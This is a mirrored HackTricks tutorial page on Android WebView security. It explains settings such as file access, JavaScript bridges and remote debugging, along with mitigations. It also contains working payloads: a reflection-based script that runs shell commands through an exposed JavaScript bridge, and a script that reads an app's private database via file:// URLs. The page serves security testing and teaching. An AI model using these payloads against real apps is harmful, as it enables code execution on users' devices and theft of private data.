mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-21 02:23:30 +00:00
175 lines
12 KiB
Markdown
175 lines
12 KiB
Markdown
# Webview Attacks
|
|
|
|
## Interesting Configurations
|
|
|
|
### File Access
|
|
|
|
_WebView_ file access is enabled by default. Since API 3 (Cupcake 1.5) the method [_setAllowFileAccess()_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess\(boolean\)) is available for explicitly enabling or disabling it.\
|
|
If the application has _**android.permission.READ\_EXTERNAL\_STORAGE** _ it will be able to read and load files **from the external storage**.\
|
|
The _WebView_ needs to use a File URL Scheme, e.g., `file://path/file`, to access the file.
|
|
|
|
#### Universal Access From File URL (Deprecated)
|
|
|
|
> Sets whether **cross-origin requests** in the **context of a file** scheme URL should be allowed to access **content from any origin**. This includes **access to content from other file scheme URLs or web contexts.** Note that some access such as image HTML elements doesn't follow same-origin rules and isn't affected by this setting.
|
|
>
|
|
> **Don't** enable this setting if you open files that may be created or altered by external sources. Enabling this setting **allows malicious scripts loaded in a `file://`** context to launch cross-site scripting attacks, either **accessing arbitrary local files** including WebView cookies, app private data or even credentials used on arbitrary web sites.
|
|
|
|
In summary this will **prevent loading arbitrary Origins.** The app will send the URL request lo load the content with **`Origin: file://`** if the response doesn't allow that origin (**`Access-Control-Allow-Origin: file://`**) then the content won't be loaded.\
|
|
The **default value is `false`** when targeting [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) and above.
|
|
|
|
* Use [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) to know whether JavaScript running in the context of a file scheme URL can access content from any origin (if UniversalAccessFromFileURL is enabled).
|
|
* Use [`setAllowUniversalAccessFromFileURLs(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs\(boolean\)) to enable/disable it.
|
|
|
|
{% hint style="info" %}
|
|
Using **`loadDataWithBaseURL()`** with `null` as baseURL will also **prevent to load local files** even if all the dangerous settings are enabled.
|
|
{% endhint %}
|
|
|
|
#### File Access From File URLs (Deprecated) <a href="#getallowfileaccessfromfileurls" id="getallowfileaccessfromfileurls"></a>
|
|
|
|
> Sets whether cross-origin requests in the context of a file scheme URL should be allowed to access content from other file scheme URLs. Note that some accesses such as image HTML elements don't follow same-origin rules and aren't affected by this setting.
|
|
>
|
|
> **Don't** enable this setting if you open files that may be created or altered by external sources. Enabling this setting allows malicious scripts loaded in a `file://` context to access arbitrary local files including WebView cookies and app private data.
|
|
|
|
In summary, this prevents javascript to access local files via `file://` protocol.\
|
|
Note that **the value of this setting is ignored** if the value of [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) is `true`. \
|
|
The **default value is `false`** when targeting [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) and above.
|
|
|
|
* Use [`getAllowFileAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccessFromFileURLs\(\)) to know whether JavaScript is running in the context of a file scheme URL can access content from other file scheme URLs.
|
|
* Use [`setAllowFileAccessFromFileURLs(boolen)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccessFromFileURLs\(boolean\))to enable/disable it.
|
|
|
|
#### File Access
|
|
|
|
> Enables or disables **file access within WebView**. Note that this enables or disables file system access only. Assets and resources are still accessible using file:///android\_asset and file:///android\_res.
|
|
|
|
In summary, if disable, the WebView won't be able to load a local file with the `file://` protocol.\
|
|
The **default value is`false`** when targeting [`Build.VERSION_CODES.R`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#R) and above.
|
|
|
|
* Use [`getAllowFileAccess()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccess\(\)) to know if the configuration is enabled.
|
|
* Use [`setAllowFileAccess(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccess\(boolean\)) to enable/disable it.
|
|
|
|
#### WebViewAssetLoader
|
|
|
|
> Helper class to load local files including application's static assets and resources using http(s):// URLs inside a [`WebView`](https://developer.android.com/reference/android/webkit/WebView.html) class. Loading local files using web-like URLs instead of `"file://"` is desirable as it is compatible with the Same-Origin policy.
|
|
|
|
This is new recommended way to load local files. The goal is to **access local files using a HTTP URL with the domain**. This way the **CORS** can be **easily** maintained between the **local** web **pages** and the **web** **pages** that are downloaded from the web server.
|
|
|
|
### Javascript Enabled
|
|
|
|
WebViews have Javascript **disabled by default**. The method [`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled\(boolean\)) is can explicitly enabling or disabling it. \
|
|
Note that webviews can also support the **`intent`** **scheme** that allows to fire other applications. Read this [writeup to find how to go from XSS to RCE](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105).
|
|
|
|
### Javascript Bridge
|
|
|
|
Android offers a way for JavaScript executed in a WebView to call and use **native functions of an Android app** (annotated with `@JavascriptInterface`) by using the [`addJavascriptInterface`](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29) method. This is known as a _WebView JavaScript bridge_ or _native bridge_.
|
|
|
|
Please note that **when you use `addJavascriptInterface`, you're explicitly granting access to the registered JavaScript Interface object to all pages loaded within that WebView**. This implies that, if the user navigates outside your app or domain, all other external pages will also have access to those JavaScript Interface objects which might present a potential security risk if any sensitive data is being exposed though those interfaces.
|
|
|
|
> Warning: Take extreme care with apps targeting Android versions below Android 4.2 (API level 17) as they are [vulnerable to a flaw](https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/) in the implementation of `addJavascriptInterface`: an attack that is abusing reflection, which leads to remote code execution when malicious JavaScript is injected into a WebView. This was due to all Java Object methods being accessible by default (instead of only those annotated).
|
|
|
|
#### Static Analysis
|
|
|
|
```javascript
|
|
//Class with a method to access a secret
|
|
public class JavascriptBridge {
|
|
// Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
|
|
// not annotated with @JavascriptInterface are not visible from JavaScript
|
|
@JavascriptInterface
|
|
public String getSecret() {
|
|
return "SuperSecretPassword";
|
|
};
|
|
}
|
|
```
|
|
|
|
```javascript
|
|
//Enabling Javascript Bridge exposing an object of the JavascriptBridge class
|
|
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
|
|
webView.reload();
|
|
```
|
|
|
|
```markup
|
|
<!-- Exploit to get the secret from JavaScript -->
|
|
<script>alert(javascriptBridge.getSecret());</script>
|
|
```
|
|
|
|
With access to the JavaScript code, via, for example, via stored **XSS,** **MITM** attack or a **malicious** **website** that is loaded inside the WebView, can directly call the exposed Java methods.
|
|
|
|
{% hint style="info" %}
|
|
Note that in the case of trying to exploit this vulnerability via an **Open Redirect to an attackers web page that access the Native Android Objet**. If the access to the redirection is done via a mobile **browser** and **not using** the same **WebView**, the **browser won't be able to access the native Android object**.
|
|
{% endhint %}
|
|
|
|
If `addJavascriptInterface` is necessary, take the following considerations:
|
|
|
|
* **Only JavaScript provided** with the APK should be allowed to use the bridges, e.g. by verifying the URL on each bridged Java method (via `WebView.getUrl`).
|
|
* **No JavaScript should be loaded from remote endpoint**s, e.g. by keeping page navigation within the app's domains and opening all other domains on the default browser (e.g. Chrome, Firefox).
|
|
* If necessary for legacy reasons (e.g. having to support older devices), **at least set the minimal API level to 17** in the manifest file of the app (`<uses-sdk android:minSdkVersion="17" />`).
|
|
|
|
### Javascript Bridge to RCE via Reflection
|
|
|
|
As noted in [**this research** ](https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/)(_check it for ideas in case you obtain RCE_) once you found a JavascriptBridge it may be possible to obtain **RCE** via **Reflection** using a payload like the following one:
|
|
|
|
```markup
|
|
<!-- javascriptBridge is the name of the Android exposed object -->
|
|
<script>
|
|
function execute(cmd){
|
|
return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
|
|
}
|
|
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
|
|
</script>
|
|
```
|
|
|
|
However modern applications may use the **`@JavascriptInterface` annotation** that indicates to the JavascriptBridge that **only** the method with this annotation should be **exposed**.\
|
|
In that scenario, you won't be able to abuse Reflection to execute arbitrary code.
|
|
|
|
### Remote Debugging
|
|
|
|
**Renote WebView** **debugging** allow to access the webview with the **Chrome Developer Tools.**\
|
|
****The **device** needs to be **accessible** by the PC (via USB, local emulator, local network...) and running the debuggable WebView, then access **chrome://inspect/#devices**:
|
|
|
|
![](<../../.gitbook/assets/image (525).png>)
|
|
|
|
Select **inspect** and a new window will be opened. In this Windows you can **interact with the content** of the **WebView** and even make it **execute arbitrary JS** code from the **console** tab:
|
|
|
|
![](<../../.gitbook/assets/image (526).png>)
|
|
|
|
In order to enable **WebView Remote Debugging** you can do something like:
|
|
|
|
```java
|
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
|
WebView.setWebContentsDebuggingEnabled(true);
|
|
}
|
|
```
|
|
|
|
**This setting applies to all of the application's WebViews.**
|
|
|
|
{% hint style="info" %}
|
|
**WebView debugging is not affected by the state of the `debuggable` flag** in the application's manifest. If you want to enable WebView debugging only when `debuggable` is `true`, test the flag at runtime.
|
|
{% endhint %}
|
|
|
|
```java
|
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
|
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
|
|
{ WebView.setWebContentsDebuggingEnabled(true); }
|
|
}
|
|
```
|
|
|
|
## Payloads
|
|
|
|
### Exfiltrate arbitrary files
|
|
|
|
```javascript
|
|
var xhr = new XMLHttpRequest();
|
|
xhr.onreadystatechange = function() {
|
|
if (xhr.readyState == XMLHttpRequest.DONE) {
|
|
alert(xhr.responseText);
|
|
}
|
|
}
|
|
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
|
|
xhr.send(null);
|
|
```
|
|
|
|
## References
|
|
|
|
{% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %}
|
|
|
|
{% embed url="https://developer.android.com/reference/android/webkit/WebView" %}
|
|
|